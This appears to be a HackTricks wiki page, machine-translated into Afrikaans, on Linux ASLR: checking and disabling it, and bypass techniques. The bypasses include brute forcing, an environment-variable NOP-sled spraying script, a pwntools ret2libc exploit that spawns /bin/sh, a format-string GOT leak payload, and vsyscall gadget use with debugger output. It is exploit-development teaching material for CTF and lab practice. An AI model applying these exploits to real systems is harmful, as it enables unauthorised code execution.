ASLR
Reading time: 11 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Address Space Layout Randomization (ASLR) is 'n sekuriteits tegniek wat in bedryfstelsels gebruik word om die geheue adresse wat deur stelsels en toepassingsprosesse gebruik word, te randomiseer. Deur dit te doen, maak dit dit aansienlik moeiliker vir 'n aanvaller om die ligging van spesifieke prosesse en data, soos die stapel, hoop en biblioteke, te voorspel, wat sekere tipes ontploffings, veral buffer oorgroeis, verminder.
Kontroleer ASLR Status
Om die ASLR-status op 'n Linux-stelsel te kontroleer, kan jy die waarde uit die /proc/sys/kernel/randomize_va_space
lĂȘer lees. Die waarde wat in hierdie lĂȘer gestoor is, bepaal die tipe ASLR wat toegepas word:
- 0: Geen randomisering. Alles is staties.
- 1: Konserwatiewe randomisering. Gedeelde biblioteke, stapel, mmap(), VDSO-bladsy is gerandomiseer.
- 2: Volledige randomisering. Benewens elemente wat deur konserwatiewe randomisering gerandomiseer is, is geheue wat deur
brk()
bestuur word, gerandomiseer.
Jy kan die ASLR-status met die volgende opdrag kontroleer:
cat /proc/sys/kernel/randomize_va_space
Deaktiveer ASLR
Om ASLR te deaktiveer, stel jy die waarde van /proc/sys/kernel/randomize_va_space
op 0. Dit is oor die algemeen nie aanbeveel om ASLR te deaktiveer buite toets- of foutopsporingstoestande nie. Hier is hoe jy dit kan deaktiveer:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
U kan ook ASLR vir 'n uitvoering deaktiveer met:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Aktivering van ASLR
Om ASLR te aktiveer, kan jy 'n waarde van 2 na die /proc/sys/kernel/randomize_va_space
lĂȘer skryf. Dit vereis gewoonlik wortelregte. Volledige randomisering kan gedoen word met die volgende opdrag:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Volharding Oor Herlaaiings
Veranderinge gemaak met die echo
opdragte is tydelik en sal teruggestel word by herlaai. Om die verandering volhardend te maak, moet jy die /etc/sysctl.conf
lĂȘer wysig en die volgende lyn byvoeg of aanpas:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Na die redigering van /etc/sysctl.conf
, pas die veranderinge toe met:
sudo sysctl -p
Dit sal verseker dat jou ASLR-instellings oor herlaaiings bly.
Omseilings
32-bit brute-forcing
PaX verdeel die prosesadresruimte in 3 groepe:
- Kode en data (geĂŻnisialiseerde en nie-geĂŻnisialiseerde):
.text
,.data
, en.bss
â> 16 bits entropie in diedelta_exec
veranderlike. Hierdie veranderlike word ewekansig geĂŻnitialiseer met elke proses en bygevoeg tot die aanvanklike adresse. - Geheue toegeken deur
mmap()
en gedeelde biblioteke â> 16 bits, genoemdelta_mmap
. - Die stapel â> 24 bits, verwys as
delta_stack
. Dit gebruik egter effektief 11 bits (van die 10de tot die 20ste byte insluitend), geallineer op 16 bytes â> Dit lei tot 524,288 moontlike werklike stapeladresse.
Die vorige data is vir 32-bit stelsels en die verminderde finale entropie maak dit moontlik om ASLR te omseil deur die uitvoering herhaaldelik te probeer totdat die uitbuiting suksesvol voltooi word.
Brute-force idees:
- As jy 'n groot genoeg oorgang het om 'n groot NOP-slee voor die shellcode te huisves, kan jy eenvoudig adresse in die stapel brute-force totdat die vloei oor 'n deel van die NOP-slee spring.
- 'n Ander opsie hiervoor, in die geval die oorgang nie so groot is nie en die uitbuiting plaaslik uitgevoer kan word, is om die NOP-slee en shellcode in 'n omgewing veranderlike by te voeg.
- As die uitbuiting plaaslik is, kan jy probeer om die basisadres van libc te brute-force (nuttig vir 32-bit stelsels):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- As jy 'n afstandsbediening bediener aanval, kan jy probeer om die adres van die
libc
funksieusleep
te brute-force, met 10 as argument (byvoorbeeld). As die bediener op 'n stadium 10s ekstra neem om te antwoord, het jy die adres van hierdie funksie gevind.
tip
In 64-bis stelsels is die entropie baie hoër en dit behoort nie moontlik te wees nie.
64-bis stap brute-forcing
Dit is moontlik om 'n groot deel van die stap met omgewing veranderlikes te beset en dan te probeer om die binĂȘre honderde/duisende kere plaaslik te misbruik om dit te ontgin.
Die volgende kode toon hoe dit moontlik is om net 'n adres in die stap te kies en elke paar honderd uitvoerings sal daardie adres die NOP instruksie bevat:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
Plaaslike Inligting (/proc/[pid]/stat
)
Die lĂȘer /proc/[pid]/stat
van 'n proses is altyd leesbaar deur almal en dit bevat interessante inligting soos:
- startcode & endcode: Adresse bo en onder met die TEKS van die binĂȘre
- startstack: Die adres van die begin van die stapel
- start_data & end_data: Adresse bo en onder waar die BSS is
- kstkesp & kstkeip: Huidige ESP en EIP adresse
- arg_start & arg_end: Adresse bo en onder waar cli argumente is.
- env_start &env_end: Adresse bo en onder waar omgewing veranderlikes is.
Daarom, as die aanvaller op dieselfde rekenaar is as die binĂȘre wat uitgebuit word en hierdie binĂȘre nie die oorgang van rou argumente verwag nie, maar van 'n ander invoer wat gekonstrueer kan word na die lees van hierdie lĂȘer. Dit is moontlik vir 'n aanvaller om 'n paar adresse uit hierdie lĂȘer te kry en offsets daaruit vir die uitbuiting te konstrueer.
tip
Vir meer inligting oor hierdie lĂȘer, kyk na https://man7.org/linux/man-pages/man5/proc.5.html en soek vir /proc/pid/stat
Om 'n lek te hĂȘ
- Die uitdaging is om 'n lek te gee
As jy 'n lek gegee word (maklike CTF-uitdagings), kan jy offsets daaruit bereken (veronderstel byvoorbeeld dat jy die presiese libc weergawe weet wat in die stelsel wat jy uitbuit, gebruik word). Hierdie voorbeeld uitbuiting is uit die voorbeeld hier (kyk daardie bladsy vir meer besonderhede):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Deur 'n buffer overflow te misbruik, sal dit moontlik wees om 'n ret2plt te benut om 'n adres van 'n funksie uit die libc te eksfiltreer. Kyk:
- Format Strings Arbitrary Read
Net soos in ret2plt, as jy 'n arbitrĂȘre lees via 'n formaat string kwesbaarheid het, is dit moontlik om die adres van 'n libc funksie uit die GOT te eksfiltreer. Die volgende voorbeeld is van hier:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
U kan meer inligting oor Format Strings arbitrĂȘre lees vind in:
Ret2ret & Ret2pop
Probeer om ASLR te omseil deur adresse binne die stapel te misbruik:
vsyscall
Die vsyscall
meganisme dien om prestasie te verbeter deur sekere stelsels oproepe in gebruikersruimte uit te voer, alhoewel hulle fundamenteel deel van die kern is. Die kritieke voordeel van vsyscalls lĂȘ in hul vaste adresse, wat nie onderhewig is aan ASLR (Address Space Layout Randomization) nie. Hierdie vaste aard beteken dat aanvallers nie 'n inligtingslek kwesbaarheid benodig om hul adresse te bepaal en dit in 'n uitbuiting te gebruik nie.
Egter, geen super interessante gadgets sal hier gevind word nie (alhoewel dit byvoorbeeld moontlik is om 'n ret;
ekwivalent te kry)
(Dit volgende voorbeeld en kode is van hierdie skrywe)
Byvoorbeeld, 'n aanvaller mag die adres 0xffffffffff600800
binne 'n uitbuiting gebruik. Terwyl die poging om direk na 'n ret
instruksie te spring mag lei tot onstabiliteit of crashes na die uitvoering van 'n paar gadgets, kan dit suksesvol wees om na die begin van 'n syscall
wat deur die vsyscall afdeling verskaf word, te spring. Deur 'n ROP gadget versigtig te plaas wat uitvoering na hierdie vsyscall adres lei, kan 'n aanvaller kode-uitvoering bereik sonder om ASLR vir hierdie deel van die uitbuiting te omseil.
ef†vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef†x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef†x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef†x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef†x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
vDSO
Let dus op hoe dit moontlik mag wees om ASLR te omseil deur die vdso te misbruik as die kernel saamgestel is met CONFIG_COMPAT_VDSO, aangesien die vdso-adres nie ge-randomiseer sal word nie. Vir meer inligting, kyk:
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.